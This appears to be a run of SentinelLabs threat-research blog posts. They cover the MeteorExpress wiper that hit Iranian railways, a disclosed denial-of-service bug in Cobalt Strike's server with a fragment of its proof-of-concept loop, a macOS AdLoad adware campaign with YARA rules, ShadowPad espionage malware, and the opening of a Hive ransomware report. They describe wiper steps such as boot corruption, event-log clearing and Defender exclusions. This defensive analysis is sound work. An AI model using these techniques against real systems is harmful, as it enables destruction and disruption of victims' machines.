Finally, cache.bat will create Windows Defender exclusions for all of its components, effectively clearing the way for a successful infection without impediments. This script proved particularly valuable for us in rebuilding the entire attack chain as it lists most of the attack components giving us a threat hunting shopping list of sorts. It’s worth noting that this is the only batch script we’ve recovered that embeds PowerShell.

Subsequently, update.bat calls bcd.bat, which serves two functions: rendering the machine unbootable and cleaning up event logs.

bcd.bat script overwrites boot.ini
In order to disable the machine’s ability to boot up, bcd.bat creates an alternative boot.ini file that points the bootloader to impossibly high disk and partition numbers (10000000) and overwrites the system’s copy of boot.ini. The script then uses the native bcdedit command to list boot option identifiers and deletes each.
bcd.bat clears event logs

The attackers then use the native wevtutil command to clear Security, System, and Application event logs. And finally, it abuses a legitimate SysInternals tool called Sync (the equivalent of the native UNIX sync()) to manually flush the cache of filesystem data to disk.

update.bat will then call msrun.bat, passing the Meteor wiper executable as a parameter. That script will in turn set the stage for its execution.

msrun.bat preparing to execute the Meteor wiper

msrun.bat moves several components into place including a screen locker (mssetup.exe) and the encrypted configuration for the Meteor wiper (msconf.conf). The script also moves four additional files: mscap.bmp, mscap.jpg, mssetup.reg, msuser.reg. At the time of writing, we were unable to recover the .reg files and have no indication of what role they play. The image files are the background images that will replace the wallpaper on locked machines.

mscap.jpg lockscreen image

The same script then creates a scheduled task called mstask set to execute the Meteor wiper at five minutes to midnight.

update.bat calls the wiper and screen locker

The final portion of update.bat checks whether mssetup.exe and the Meteor wiper are running, taking appropriate actions like exiting the script or restarting the machine as necessary.

A Wiper Triad

There’s a strange level of fragmentation to the overall toolkit. Batch files spawn other batch files, different rar archives contain intermingled executables, and even the intended action is separated into three payloads: Meteor wipes the filesystem, mssetup.exe locks the user out, and nti.exe presumably corrupts the MBR. We have been able to identify two out of three components and detail their inner workings below.

Internal naming convention visible within the wiper binary

The main payload of this convoluted attack chain is an executable dropped under env.exe or msapp.exe. Internally, the coders refer to it as ‘Meteor’. While this particular instance of Meteor suffers from a crippling OPSEC failure (the inclusion of verbose debug strings presumably intended for internal testing), it’s an externally configurable wiper with an extensive set of features.




Compilation Timestamp
2021-01-17 18:59:25

First Submission
2021-07-12 06:01:11


ITW names
env.exe / msapp.exe

The Meteor wiper is executed as a scheduled task, called mstask and set to run at five minutes to midnight. It’s supplied with a single argument, an encrypted JSON configuration file, msconf.conf (68e95a3ccde3ea22b8eb8adcf0ad53c7993b2ea5316948e31d9eadd11b5151d7), that holds values for corresponding keys contained in cleartext within the binary:


At its most basic functionality, the Meteor wiper takes a set of paths from the encrypted config and walks these paths, wiping files. It also makes sure to delete shadow copies and removes the machine from the domain to avoid means of quick remediation. The wiper includes a wealth of additional functionality, most of which isn’t used in this particular attack, including:

  • Changing passwords for all users
  • Disabling screensavers
  • Process termination based on a list of target processes
  • Installing a screen locker
  • Disabling recovery mode
  • Changing boot policy error handling
  • Creating scheduled tasks
  • Logging off local sessions
  • Changing lock screen images for different Windows versions (XP, 7, 10)
  • Creating processes and executing commands
Meteor wiper attempts two different methods to remove victim machine from Domain

The developers resort to multiple redundant methods to accomplish each of their objectives. For example, Meteor will attempt to remove the machine from the domain via WinApi functions. If that fails it will then attempt to do the same via an equivalent WMI command.

Taking a step back to evaluate the development of Meteor and what it might tell us about the threat group involved, we must note that the composition of this binary is beset by contradictory practices.

First, the code is rife with sanity checks, error checking, and redundancy in accomplishing its goals. However, the operators clearly made a major mistake in compiling a binary with a wealth of debug strings meant for internal testing. The latter is an indication that despite whatever advanced practices the developers have in their arsenal, they lack a robust deployment pipeline that ensures such mistakes do not happen. Moreover, note that this sample was compiled six months before its deployment and the mistake was not caught.

Lock My PC 4 embedded within Meteor

Secondly, the code is a bizarre amalgam of custom code that wraps open-source components (cpp-httplib v0.2) and practically ancient abused software (FSProLabs’ Lock My PC 4). While that might suggest that the Meteor wiper was built to be disposable, or meant for a single operation, that’s juxtaposed with an externally configurable design that allows efficient reuse for different operations. Many of the available keys are not instantiated in this operation, like the ability to kill specific processes. Additionally, that external configuration is encrypted, presumably to limit analysis, but all of the configurable keys are hardcoded in plaintext within the main binary.

Meteor overwrites boot.ini with the same template as bcd.bat

Taking a step back to look at the entire toolkit deployed in this operation, there are also some overlaps between the functionality contained within Meteor and that of other components executed beforehand that suggest some operational segmentation between developers of different components and the operators themselves. Functionality carried out with batch scripts is also embedded within Meteor such as disabling network adapters and corrupting boot.ini. The wiper also includes a commercial screen locker and yet this functionality is redundantly instantiated through a separate binary, mssetup.exe.

The externally configurable nature of the wiper entails that it wasn’t created for this particular operation. However, at the time of writing, we’ve been unable to find other attacks or variants of the Meteor wiper. For that reason, we are supplying a very broad (but well tested) hunting YARA rule below.

‘mssetup.exe’ Screenlocker

mssetup.exe’s WinMain() function

The MeteorExpress operators drop a standalone screenlocker. Despite a wealth of C++ template and exception handling code, mssetup.exe is simple. Most of its functionality is pictured above. It blocks user input before creating a Window that fills the entire screen. If an image is available at the hardcoded path C:\temp\mscap.bmp (dropped by the msrun.bat script), then it’ll use this image to fill the screen. Otherwise, it’ll draw a black rectangle. It’ll then disable the cursor and effectively lock the user out entirely. It’s worth noting that though this binary was clearly developed by the same production pipeline, it doesn’t include any of the verbose debug strings nor overt logging functionality.




Compilation Timestamp
2021-01-17 18:59:28

First Submission
2021-07-12 06:04:15


ITW names

A Missing MBR Corruptor

Finally, the Padvish security blog makes reference to an additional executable, nti.exe, that serves as an MBR corruptor. We’ve been unable to recover this at this time and suspect that the incident responders were unable to recover it themselves as their analysis centers on the corrupted MBRs rather than the binary.

Description of nti.exe Google translated from Farsi
One interesting claim in the Padvish blog is that the manner in which nti.exe corrupts the MBR is by overwriting the same sectors as the infamous NotPetya. While one’s first instinct might be to assume that the NotPetya operators were involved or that this is an attempt at a false flag operation, it’s important to remember that NotPetya’s MBR corrupting scheme was mostly cribbed from the original Petya used for criminal operations. An additional inconsistency from the Padvish blog is their claim that update.bat runs nti.exe. While they’re likely referring to a different version in their possession, our copy of update.bat makes no overt reference to nti.exe.


Conflict in cyberspace is overpopulated with increasingly brazen threat actors. Behind the artistry of this epic troll lies an uncomfortable reality where a previously unknown threat actor is willing to leverage wiper malware against public railways systems. The attacker is an intermediate level player whose different operational components sharply oscillate from clunky and rudimentary to slick and well-developed.

On the one hand, we have a new externally-configurable wiper packed full of interesting capabilities, involving a mature development process, and redundant means to accomplish their goals. Even their batch scripts include extensive error checking, a feature seldom encountered with deployment scripts. Their attack is designed to cripple the victim’s systems, leaving no recourse to simple remediation via domain administration or recovery of shadow copies.

On the other hand, we see an adversary that doesn’t yet have a handle on their deployment pipeline, using a sample of their malware that contains extensive debug features and burning functionality irrelevant to this particular operation. There’s feature redundancy between different attack components that suggests an uncoordinated division of responsibilities across teams. And files are dispensed in a clunky, verbose, and disorganized manner unbecoming of advanced attackers.

We cannot yet make out the shape of this adversary across the fog. Perhaps it’s an unscrupulous mercenary group. Or the latent effects of external training coming to bear on a region’s nascent operators. At this time, any form of attribution is pure speculation and threatens to oversimplify a raging conflict between multiple countries with vested interests, means, and motive.

Behind this epic troll/stunning provocation there’s a lot more to uncover in getting to know the actor behind MeteorExpress. We should keep in mind that the attackers were already familiar with the general setup of their target, features of the domain controller, and the target’s choice of backup system (Veeam). That implies a reconnaissance phase that flew entirely under the radar and a wealth of espionage tooling that we’ve yet to uncover.

Happy Hunting.

Indicators of Compromise

IoCs and Yara hunting rules available on SentinelLabs GitHub.



The post MeteorExpress | Mysterious Wiper Paralyzes Iranian Trains with Epic Troll appeared first on SentinelLabs.

Hotcobalt – New Cobalt Strike DoS Vulnerability That Lets You Halt Operations

4 August 2021 at 12:58

Executive Summary

  • Versions 4.2 and 4.3 of Cobalt Strike’s server contain multiple Denial of Service vulnerabilities (CVE-2021-36798).
  • The vulnerabilities can render existing Beacons unable to communicate with their C2 server, prevent new beacons from being installed, and have the potential to interfere with ongoing operations.
  • We have released a new Python library to help generically parse Beacon communication in order to help the research security community.


Cobalt Strike is one of the most popular attack frameworks designed for Red Team operations. At the same time, many APTs and malicious actors also use it.

SentinelOne has seen numerous attacks involving Cobalt Strike Beacons across our customer base. SentinelOne detects Cobalt Strike Beacon and we are constantly rolling out new ways to detect modifications or novel ways to load Beacon in memory.

Given its rampant adoption by red teams and attackers alike, we wanted to better understand the operational security of Cobalt Strike. This led us to discover the vulnerabilities reported in CVE-2021-36798 and which we describe below.

Beacon Communications

To understand the vulnerabilities we found, we will briefly cover how Cobalt Strike Beacon communication works.

The first time the Cobalt Strike server runs, it creates randomly generated RSA keys, private and public, stored in a file named “.Cobalt Strike.beacon_keys”. Every Beacon stager has the public key embedded in it.

We can get the Beacon’s public RSA key by parsing its configuration

When a Beacon stager runs, it gathers information about the computer it is running on (CPU architecture, keyboard layout, internal IP, etc.), encrypts that info using the public key, and sends it to the server in an HTTP GET request. We will refer to that part as “Beacon registration”.

After the Beacon has registered with the server, the attacker can interact with the Beacon. From this point, the Beacon works by receiving and replying to “tasks”. Tasks can, for example, be used to get a process list, run a command, conduct lateral movement, and many other things of interest to the attacker.

Receiving tasks generally happens over HTTP GET requests and the Beacon replies with the task data over HTTP POST requests. Tasks are encrypted using an AES key sent by the Beacon in the registration request. The entire communication flow is explained in the official documentation, but the outline above should suffice for what follows.

One of the most famous features of Cobalt Strike is its Malleable C2. In short, this feature lets the attacker encode (“transform” in Cobalt’s language) all the beacon’s HTTP communications. The entire process described above is wrapped in the chosen Malleable profile’s transformation steps, which are also embedded in the stager itself.

Below is an example of a popular Malleable C2 profile that masquerades traffic as a normal request for the jquery code (source):

An example of a popular Malleable C2 profile


First, it should be noted that there was already one known vulnerability in Cobalt Strike that was previously reported. A great write-up written by nccgroup is worth reading for a more in-depth understanding of Beacon’s communication internals. In practice, that vulnerability allowed for remote code execution on the server.

We’re not interested in remote code execution vulnerability here as it would be overkill for our purposes. Considering that the server’s code is written in Java and isn’t very large, it wasn’t too hard to find bugs there.

For example, in the Screenshot and Keylogger task replies, there’s an interesting behavior when reading the reply’s data:

public void process_beacon_callback_decrypted(final String beaconID, final byte[] responseBytes) {
// Sanity checks here
try {
final DataInputStream responeBytesStream = new DataInputStream(new ByteArrayInputStream(responseBytes));
cmd = responeBytesStream.readInt();
if (cmd == 0) {...}
else if (cmd == 3) {
	final DataParser dp = new DataParser(CommonUtils.readAll(responeBytesStream));
	final byte[] scData = dp.readCountedBytes();    // Bug #1 here
	final int scDesktop = dp.readInt();
	final String scTitle = this.getCharsets().process(beaconID, dp.readCountedBytes());
	final String process6 = this.getCharsets().process(beaconID, dp.readCountedBytes());
	if (scData.length == 0) {
		output(BeaconOutput.Error(beaconID, "screenshot from desktop " + scDesktop + " is empty"));
	output(BeaconOutput.OutputB(beaconID, "received screenshot of " + scTitle + " from " + process6 + " (" + CommonUtils.formatSize(scData.length) + ")"));

In this example, we see the parsing of a screenshot task reply. To read the screenshot’s data, it calls the function readCountedBytes, which reads an integer from the first four bytes of the data and treats it as the screenshot’s size without any sanity checks.

Then, before reading the screenshot’s data, it allocates a buffer big enough to hold it:

byte[] array = new byte[ReplySize];

By manipulating the screenshot’s size we can make the server allocate an arbitrary size of memory, the size of which is totally controllable by us. However, in order to trigger this piece of code, we need to be able to talk to the server like a Beacon.

By combining all the knowledge of Beacon communication flow with our configuration parser, we have all we need to fake a Beacon.

We’ve published a POC python script that does just that: it parses a Beacon’s configuration and uses the information stored in it to register a new random Beacon on the server. After registering the Beacon, it’s pretty trivial to use the primitive found above to iteratively send fake task replies that squeeze every bit of available memory from the C2’s web server thread:

size = 1000000000
while True:
        if size 

This leads to the crashing of the server’s web thread that handles HTTP stagers and Beacon communication:

Crashing the server's web thread

This would allow an attacker to cause memory exhaustion in the Cobalt Strike server  (the “Teamserver”) making the server unresponsive until it's restarted. This means that live Beacons cannot communicate to their C2 until the operators restart the server.

Restarting, however, won’t be enough to defend against this vulnerability as it is possible to repeatedly target the server until it is patched or the Beacon’s configuration is changed.

Either of these will make the existing live Beacons obsolete as they’ll be unable to communicate with the server until they’re updated with the new configuration. Therefore, this vulnerability has the potential to severely interfere with ongoing operations.

Although used every day for malicious attacks, Cobalt Strike is ultimately a legitimate product, so we have disclosed these issues responsibly to HelpSystems and they have fixed the vulnerabilities in the last release.


On our Cobalt Strike parser repository, we’ve added new modules and code examples that implement:

  • Parsing of a Beacon’s embedded Malleable profile instructions
  • Parsing of a Beacon’s configuration directly from an active C2 (like the popular nmap script)
  • Basic code for communicating with a C2 as a fake Beacon

Other than registering a fake Beacon with the server, the code we are releasing makes it easier to parse captured Beacon communications in a generic way.

Let’s take, for example, a case of a captured unencrypted Beacon communication from malware-traffic-analysis and decode it using the new communication module:

from urllib import parse
from pcaper import PcapParser
from parse_beacon_config import *
from comm import *

conf = cobaltstrikeConfig(r"beacon.bin").parse_config()
pparser = PcapParser()
reqs = pparser.read_pcap({'input': r"2019-07-25-Hancitor-style-Amadey-with-Pony-and-Cobalt-Strike.pcap"})

t = Transform(conf['HttpPost_Metadata'])
for req in reqs:
	if conf['HttpPostUri'] in req.uri:
		params = {k: v[0] for k, v in parse.parse_qs(parse.urlsplit(req.uri).query).items()}		
		print('\n\nFound beacon reply:\n', t.decode(req.body, req.headers, params)[1])


Found beacon reply:
 ♠r↓ (platform: 500 version: 6.1 name: HIDDENROAD-PC domain: WORKGROUP)
Scanner module is complete

Found beacon reply:
 ☺►[*] Wrote hijack DLL to 'C:\Users\SARAH~1.RUT\AppData\Local\Temp\745f.dll'
[+] Privileged file copy success! C:\Windows\System32\sysprep\CRYPTBASE.dll
[+] C:\Windows\System32\sysprep\sysprep.exe ran and exited.
[*] Cleanup successful

It parses the Malleable C2 instructions embedded in the Beacon’s configuration and uses it to decode Beacon replies from the captured HTTP requests.

There’s a lot that can be done with this new communication library and it will be interesting to see what other researchers from the community will do with it.


Research into attack frameworks like Cobalt Strike and Cellebrite is still a niche area. We hope that this research and the tools we have released help to further encourage research into the robustness of attack frameworks and expand the range of available options when facing their consistent abuse.

Disclosure Timeline

We would like to thank HelpSystems for their approach to our disclosure and for remediating the vulnerabilities.

04/20/2021 - Initial contact with HelpSystems for issue disclosure.
04/22/2021 - Issue details disclosed to HelpSystems.
04/23/2021 - HelpSystems confirmed the issue and asked for an extension until August 3rd.
04/28/2021 - SentinelOne accepted the extension.
07/18/2021 - Submitted CVE request to MITRE.
07/19/2021 - CVE-2021-36798 was assigned and reserved for the specified issue.
08/02/2021 - SentinelOne shared the publication date and post for review.
08/02/2021 - HelpSystems reviewed and confirmed the post for publication.
08/04/2021 - HelpSystems released Cobalt Strike 4.4, which contains a fix for CVE-2021-36798.

All issues found by SentinelOne are disclosed to the relevant third party according to our Responsible Disclosure Policy for Third Parties.

The post Hotcobalt – New Cobalt Strike DoS Vulnerability That Lets You Halt Operations appeared first on SentinelLabs.

Massive New AdLoad Campaign Goes Entirely Undetected By Apple’s XProtect

11 August 2021 at 12:55

Executive Summary

  • AdLoad is one of several widespread adware and bundleware loaders currently afflicting macOS.
  • In late 2019, SentinelLabs described how AdLoad was continuing to adapt and evade detection.
  • This year we have seen over 150 unique samples that are part of a new campaign that remain undetected by Apple’s on-device malware scanner.
  • Some of these samples have been known to have also been blessed by Apple’s notarization service.
  • We describe the infection pattern and detail the indicators of compromise for the first time.


AdLoad is one of several widespread adware and bundleware loaders currently afflicting macOS. AdLoad is certainly no newcomer to the macOS malware party. In late 2019, SentinelLabs described how AdLoad was continuing to adapt and evade detection, and this year we have seen another iteration that continues to impact Mac users who rely solely on Apple’s built-in security control XProtect for malware detection.

In this post, we detail one of several new AdLoad campaigns we are currently tracking that remain undetected by Apple’s macOS malware scanner. We describe the infection pattern and indicators of compromise for the first time and hope this information will help others to detect and remove this threat.

AdLoad | Staying One Step Ahead of Apple

AdLoad has been around since at least 2017, and when we previously reported on it in 2019, Apple had some partial protection against its earlier variants. Alas, at that time the 2019 variant was undetected by XProtect.

As of today, however, XProtect arguably has around 11 different signatures for AdLoad (it is ‘arguable’ because Apple uses non-industry standard names for its signature rules). As best as we can track Apple’s rule names to common vendor names, the following XProtect rules appear to be all partially or wholly related to AdLoad variants:

Signatures for AdLoad variants in XProtect

The good news for those without additional security protection is that the previous variant we reported in 2019 is now detected by XProtect, via rule 22d71e9.

An earlier AdLoad variant reported by SentinelLabs is now detected by XProtect
The bad news is the variant used in this new campaign is undetected by any of those rules. Let’s see what’s changed.

AdLoad 2021 Campaign | ‘System’ and ‘Service’

Both the 2019 and 2021 variants of AdLoad used persistence and executable names that followed a consistent pattern. In 2019, that pattern included some combination of the words “Search” , “Result” and “Daemon”, as in the example shown above: “ElementarySignalSearchDaemon”. Many other examples can be found here.

The 2021 variant uses a different pattern that primarily relies on a file extension that is either .system or .service. Which file extension is used depends on the location of the dropped persistence file and executable as described below, but typically both .system and .service files will be found on the same infected device if the user gave privileges to the installer.

With or without privileges, AdLoad will install a persistence agent in the user’s Library LaunchAgents folder with patterns such as:


To date, we have found around 50 unique label patterns, with each one having both a .service and a .system version. Based on our previous understanding of AdLoad, we expect there to be many more.

When the user logs in, the AdLoad persistence agent will execute a binary hidden in the same user’s ~/Library/Application Support/ folder. That binary follows another deterministic pattern, whereby the child folder in Application Support is prepended with a period and a random string of digits. Within that directory is another directory called /Services/, which in turn contains a minimal application bundle having the same name as the LaunchAgent label. That barebones bundle contains an executable with the same name but without the com. prefix. For example:

~/Library/Application Support/.3276169528277499560/Services/com.SwitcherGuard.service/SwitcherGuard.service
Indicators of compromise in the User’s Library Application Support folder

A hidden tracker file called .logg and containing only a UUID string is also dropped in the Application Support folder. Despite the location, if the dropper has also been granted privileges, then the tracker file is owned by root rather than the user.

The hidden tracker file in the User’s Library Application Support folder

Further, assuming the user supplied admin privileges as requested by the installer, another persistence mechanism is written to the domain /Library/LaunchDaemons/ folder. This plist file uses the file extension .system, and the corresponding folder in the hidden Application Support folder is also named /System/ instead of /Services/.

Indicators of compromise in the Domain Library Application Support folder

The LaunchDaemon is dropped with one of a number of pre-determined labels that mirrors the label used in the LaunchAgent, such as:


The persistence plists themselves pass different arguments to the executables they launch. For the system daemon, the first argument is -t and the second is the plist label. For the user persistence agent, the arguments -s and 6600 are passed to the first and second parameters, respectively.

AdLoad 2021 macOS persistence pattern

Interestingly, the droppers for this campaign share the same pattern as Bundlore/Shlayer droppers. They use a fake Player.app mounted in a DMG. Many are signed with a valid signature; in some cases, they have even been known to be notarized.

Like much other adware, AdLoad makes use of a fake Player.app to install malware

Typically, we observe that developer certificates used to sign the droppers are revoked by Apple within a matter of days (sometimes hours) of samples being observed on VirusTotal, offering some belated and temporary protection against further infections by those particular signed samples by means of Gatekeeper and OCSP signature checks. Also typically, we see new samples signed with fresh certificates appearing within a matter of hours and days. Truly, it is a game of whack-a-mole.

The droppers we have seen take the form of a lightly obfuscated Zsh script that decompresses a number of times before finally executing the malware out of the /tmp directory (for a discussion of how to deobfucscate such scripts see here).

The dropper executes a shell script obfuscated several times over

The final payload is not codesigned and isn’t known to the current version of Apple’s XProtect, v2149.

The malware executes out of /tmp/ and is neither codesigned nor known to XProtect
Once infection is complete, the adware pops the following page in the user’s default browser

How New Is This Variant of AdLoad?

In our investigation, we found over 220 samples of this adware variant on VirusTotal, in both packed and unpacked form. At least 150 of these are unique. Interestingly, a lone sample of this variant was documented by analysts at Confiant, who described the malware’s string decryption routine in a post published on June 3rd, 2021. According to these researchers, the sample they observed had been notarized by Apple.

We note that across our corpus, all samples from November 2020 to August 2021 use the same or similar string decryption routine as that described by Confiant. Similarly, the earlier researchers’ sample, “MapperState.system” conforms to the AdLoad naming pattern that we observed and described above. Both these indicators definitively link our findings with theirs.

AdLoad binaries use a great deal of obfuscation, including custom string encryption
Three different samples, all using a similar string encryption routine

Our research showed that samples began to appear at least as early as November 2020, with regular further occurrences across the first half of 2021. However, there appears to have been a sharp uptick throughout July and in particular the early weeks of August 2021.

It certainly seems possible that the malware developers are taking advantage of the gap in XProtect, which itself has not been updated since a few week’s after Confiant’s research over two months ago. At the time of writing, XProtect was last updated to version 2149 around June 15th – 18th.

Version 2149 is the most recent version of Apple’s XProtect as of August 11th

None of the samples we found are known to XProtect since they do not match any of the scanner’s current set of AdLoad rules.

Running XProtect v2149 against 221 known samples shows no detections

However, there is reasonably good detection across a variety of different vendor engines used by VirusTotal for all the same samples that XProtect doesn’t detect.

All the samples are detected by various VT vendor engines

On our test machine, we set the policy of the SentinelOne Agent to “Detect only” in order  to allow the malware to execute and observe its behaviour. In the Management console, the behavioral detection is mapped to the relevant MITRE indicators.

Behavioral Indicators from the SentinelOne agent

Since AdLoad is a common adware threat whose behavior of hijacking search engine results and injecting advertisements into web pages has been widely documented in the past, we ended our observation at this juncture.


As Apple itself has noted and we described elsewhere, malware on macOS is a problem that the device manufacturer is struggling to cope with. The fact that hundreds of unique samples of a well-known adware variant have been circulating for at least 10 months and yet still remain undetected by Apple’s built-in malware scanner demonstrates the necessity of adding further endpoint security controls to Mac devices.

As we indicated at the beginning of this post, this is only one campaign related to AdLoad that we are currently tracking. Further publications related to these campaigns are in progress.

Indicators of Compromise

YARA Hunting Rule

private rule Macho
		description = "private rule to match Mach-O binaries"
		uint32(0) == 0xfeedface or uint32(0) == 0xcefaedfe or uint32(0) == 0xfeedfacf or uint32(0) == 0xcffaedfe or uint32(0) == 0xcafebabe or uint32(0) == 0xbebafeca

rule adload_2021_system_service
		description = "rule to catch Adload .system .service variant"
		author = "Phil Stokes, SentinelLabs"
		version = "1.0"
		last_modified = "2021-08-10"
		reference = "https://s1.ai/adload"
		$a = { 48 8D 35 ?? ?? 00 00 48 8D 5D B8 BA B8 00 00 00 48 89 DF E8 ?? ?? FB FF 48 8B 43 08 48 2B 03 66 48 0F 6E C0 66 0F 62 05 ?? ?? 00 00 66 0F 5C 05 ?? ?? 00 00 0F 57 C9 66 0F 7C C0 48 8D 7D A0 0F 29 0F F2 0F 59 05 }
		Macho and all of them

Persistence Filepaths


Executable Paths

~/Library/Application\ Support/.[0-9]{19}/Services/com.<label>.service/<label>.service
/Library/Application\ Support/.[0-9]{19}/System/com.<label>.system/<label>.system




T1211 Defense Evasion
T1105 Remote File Copy
T1160 Persistence


.service, .system files


Note: Some of these droppers may deliver different payloads.

The post Massive New AdLoad Campaign Goes Entirely Undetected By Apple’s XProtect appeared first on SentinelLabs.

ShadowPad | A Masterpiece of Privately Sold Malware in Chinese Espionage

19 August 2021 at 14:23

By Yi-Jhen Hsieh & Joey Chen

Executive Summary

  • ShadowPad is a privately sold modular malware platform –rather than an open attack framework– with plugins sold separately.
  • ShadowPad is still regularly updated with more advanced anti-detection and persistence techniques.
  • It’s used by at least four clusters of espionage activity. ShadowPad was the primary backdoor for espionage operations in multiple campaigns, including the CCleaner, NetSarang, and ASUS supply-chain attacks.
  • The adoption of ShadowPad significantly reduces the costs of development and maintenance for threat actors. We observed that some threat groups stopped developing their own backdoors after they gained access to ShadowPad.
  • As a byproduct of that shared tooling, any claim on attribution needs to be reviewed in a cautious way when a shared backdoor like ShadowPad is involved.
  • Instead of focusing on specific threat groups, we discuss local personas possibly involved in the development of ShadowPad as an iterative successor to PlugX.

Read the Full Report


ShadowPad emerged in 2015 as the successor to PlugX. However, it was not until several infamous supply-chain incidents occurred – CCleaner, NetSarang and ShadowHammer – that it started to receive widespread attention in the public domain. Unlike the publicly-sold PlugX, ShadowPad is privately shared among a limited set of users. Whilst collecting IoCs and connecting the dots, we asked ourselves: What threat actors are using ShadowPad in their operations? And ultimately, how does the emergence of ShadowPad impact the wider threat landscape from Chinese espionage actors?

To answer those questions, we conducted a comprehensive study on the origin, usage and ecosystem of ShadowPad. The full report provides:

  • a detailed overview of ShadowPad, including its history, technical details, and our assessment of its business model and ecosystem
  • a detailed description of four activity clusters where ShadowPad has been used
  • a discussion of how ShadowPad’s emergence changes the attacking strategies of some China-based threat actors
  • how ShadowPad affects the threat landscape of Chinese espionage attacks

In this blog post, we provide an abridged version of some of our key findings and discussions. Please see the full report for an extended discussion, full Indicators of Compromise and other technical indicators.

Technical Analysis

ShadowPad is a modular backdoor in shellcode format. On execution, a layer of an obfuscated shellcode loader is responsible for decrypting and loading a Root plugin. While the sequence of operation in the Root plugin decrypts, it loads other plugins embedded in the shellcode into memory. The plugins are kept and referenced through a linked list:

struct plugin_node {
    plugin_node* previous_node;
    plugin_node* next_node;
    DWORD referenced_count;
    DWORD plugin_timestamp;
    DWORD plugin_id;
    DWORD field_0;
    DWORD field_1;
    DWORD field_2;
    DWORD field_3;
    DWORD plugin_size;
    LPVOID plugin_base_addr;
    LPVOID plugin_export_function_table_addr;

Along with the plugins embedded in the sample, additional plugins are allowed to be remotely uploaded from the C&C server, which allows users to dynamically add functionalities not included by default.

The architecture of ShadowPad backdoor

As luck would have it, the ShadowPad controller (version 1.0, 2015) was accidentally discovered during private research. All of the stakeholders involved agreed to our releasing screenshots but not the details of the actual file, so we are unable to provide hashes for this component at present.

Analysis of the controller allowed us to obtain a clear picture of how the builder generates the shellcodes, how the users manage the infected hosts, and the kinds of functions available on the controller.

Privately Shared Attack Framework or Privately Sold Modular Malware?

An intriguing question to address is whether ShadowPad is a privately shared attack framework or a privately developed modular malware platform for sale to specific groups. Its design allows the users to remotely deploy new plugins to a backdoor.  In theory, anyone capable of producing a plugin that is encrypted and compressed in the correct format can add new functionalities to the backdoor freely.

However, the control interfaces of the plugins are hardcoded in the “Manager” page of the ShadowPad controller, and the controller itself does not include a feature to add a new control interface.

The interfaces to control the plugins are hardcoded and listed in the “Manager” page

In other words, it is unlikely that ShadowPad was created as a collaborative attacking framework. Only the plugins produced by the original developer could be included and used through the ShadowPad controller.

On the other hand, even if the control interface of a plugin is listed in the menu, not every available plugin is embedded in the ShadowPad samples built by the controller by default. There is no configuration in the builder to allow the user to choose which plugins are compiled into the generated sample, so this setting can only be managed by the developer of the controller.

If ShadowPad was not originally designed as an open framework, the following question is whether it is freely shared with or sold to its users. The possible author ‘whg’ – and one of his close affiliates, Rose – have been monetizing their malware development and hacking skills since the early 2000s. Both individuals sold self-developed malware, and Rose offered services such as software cracking, penetration testing and DDoS attacks. If ShadowPad was developed by them or their close affiliates, it is more likely to be sold to – rather than freely shared with – other users under this context.

Selling the Plugins Separately Rather than Giving a Full Bundle by Default

The available functionalities to ShadowPad users are highly controlled by the seller of ShadowPad. Looking deeply into the plugin numbers and the distribution of different plugins embedded in around a hundred samples, we assessed that the seller is likely selling each plugin separately instead of offering a full bundle with all of the currently available plugins.

The number of samples grouped by the number of plugins in each sample

The image above groups the samples by the number of the plugins embedded in them. Most of the samples contain less than nine plugins with the following plugins embedded: Root, Plugins, Config, Install, Online, TCP, HTTP, UDP and DNS. This set of plugins can only support the installation of backdoors and communications with C&C servers, without providing further functionality.

What Threat Actors Are Using Shadowpad?

ShadowPad is sold privately to a limited set of customers. SentinelOne has identified at least five activity clusters of ShadowPad users since 2017:

  • APT41
  • Tick & Tonto Team
  • Operation Redbonus
  • Operation Redkanku
  • Fishmonger

In the full report, we discuss each in turn. Here, we will limit our observations to the most interesting points related to APT41.

APT41 is the accepted naming convention for the activities conducted by two spinoffs of what was once referred to as ‘Winnti’, sub-groups – BARIUM (Tan Dailin aka Rose and Zhang Haoran) and LEAD (Chengdu 404 Network Technology Co., Ltd).

All of the individuals are based in Chengdu, Sichuan. Rose (aka “凋凌玫瑰”), Zhang Haoran, and Jiang Lizhi (aka “BlackFox”, one of the persons behind Chengdu 404) were coworkers between 2011 and 2017, while Rose and BlackFox knew each other since at least 2006.

Rose started his active collaboration on malware development with whg, the author of PlugX, when he was a member of the hacking group NCPH back in 2005. They developed “NCPH Remote Control Software” together until 2007. The executable of the controller was freely shared on NCPH websites, but they also declared that the source code was for sale.

NCPH 5.0 Remote Control Software, developed back in 2005, was powered by whg and Rose
Rose and his friends sold the source code of “NCPH remote control software” on NCPH forum
BARIUM (Rose and Zhang Haoran) were one of the earliest threat groups with access to ShadowPad. Aside from some smaller-scale attacks against the gaming industry, they were accountable for several supply chain attacks from 2017 to 2018. Some of their victims included NetSarang, ASUS, and allegedly, CCleaner.

Another subgroup, LEAD, also used ShadowPad along with other backdoors to attack victims for both financial and espionage purposes. They were reported to attack electronic providers and consumers, universities, telecommunication, NGO and foreign governments.

Considering the long-term affiliation relationship between Rose and whg, we suspect that Rose likely had high privilege access to – or was a co-developer of – ShadowPad, and other close affiliates in Chengdu were likely sharing resources. This could also explain why BARIUM was able to utilize a special version of ShadowPad in some of their attacks.


The emergence of ShadowPad, a privately sold, well-developed and functional backdoor, offers threat actors a good opportunity to move away from self-developed backdoors. While it is well-designed and highly likely to be produced by an experienced malware developer, both its functionalities and its anti-forensics capabilities are under active development. For these threat actors, using ShadowPad as the primary backdoor significantly reduces the costs of development.

For security researchers and analysts tracking China-based threat actors, the adoption of the “sold – or cracked – commercial backdoor” raises difficulties in ascertaining which threat actor they are investigating. More systematic ways – for instance, analysis on the relationship between indicators, long-term monitoring on the activities and campaigns – need to be developed in order to carry out analytically-sound attribution. Any claim made publicly on the attribution of ShadowPad users requires careful validation and strong evidentiary support so that it can help the community’s effort in identifying Chinese espionage.

Read the full report for an extended discussion, full Indicators of Compromise and other technical indicators.

Read the Full Report

Read the Full Report

The post ShadowPad | A Masterpiece of Privately Sold Malware in Chinese Espionage appeared first on SentinelLabs.

Hive Attacks | Analysis of the Human-Operated Ransomware Targeting Healthcare

23 August 2021 at 15:16

By Jim Walter & Juan Andres Guerrero-Saade

Executive Summary

  • Hive is a double-extortion ransomware group that first appeared in June 2021.
  • The group is notable in its undiscerning choice of targets, having no limits when it comes to healthcare providers and hospitals, as evidenced in a recent attack on Memorial Health System hospitals in Ohio.
  • Hive ransomware is written in Go to take advantage of the language’s concurrency features to encrypt files faster.
  • This report offers an overview of Hive TTPs as well as a reverse engineering deep dive into the ransomware payloads.
